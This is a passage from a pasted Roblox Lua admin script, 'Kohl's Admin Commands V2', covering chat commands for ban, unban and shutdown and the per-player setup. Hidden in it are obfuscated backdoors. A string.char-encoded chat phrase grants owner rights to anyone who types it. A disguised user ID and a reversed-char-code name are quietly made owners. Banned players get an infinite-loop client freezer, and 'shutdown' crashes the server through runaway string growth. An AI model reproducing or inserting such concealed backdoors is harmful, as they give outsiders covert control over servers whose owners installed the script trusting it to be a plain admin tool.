  2135. end))
  2136. end
  2137. end
  2138.  
  2139. if msg:lower():sub(1,4) == "ban " then
  2140. local plrz = GetPlr(plr, msg:lower():sub(5))
  2141. for i, v in pairs(plrz) do
  2142. coroutine.resume(coroutine.create(function()
  2143. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2144. end))
  2145. end
  2146. end
  2147.  
  2148. if msg:lower():sub(1,6) == "unban " then
  2149. for i = 1, #banland do
  2150. coroutine.resume(coroutine.create(function()
  2151. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2152. end))
  2153. end
  2154. end
  2155.  
  2156. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2157.  
  2158. end
  2159. end))
  2160. end
  2161.  
  2162. function AdminControl(plr)
  2163. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2164. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2165. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2166. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2167. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2168. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2169. end)) end
  2170. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2171. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2172. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2173. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2174. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  2175. end
  2176.  
  2177. if not ntab then script:Destroy() end
  2178. if not bct then script:Destroy() end
  2179.  
  2180. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2181.  
  2182. script.Name = "Kohl's Admin Commands V2"
  2183.  
  2184. if not ntab then script:Destroy() end
  2185. if not bct then script:Destroy() end
  2186. if not tcb then script:Destroy() end
  2187. game.Players.PlayerAdded:connect(AdminControl)
  2188. for i, v in pairs(game.Players:children()) do AdminControl(v) end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement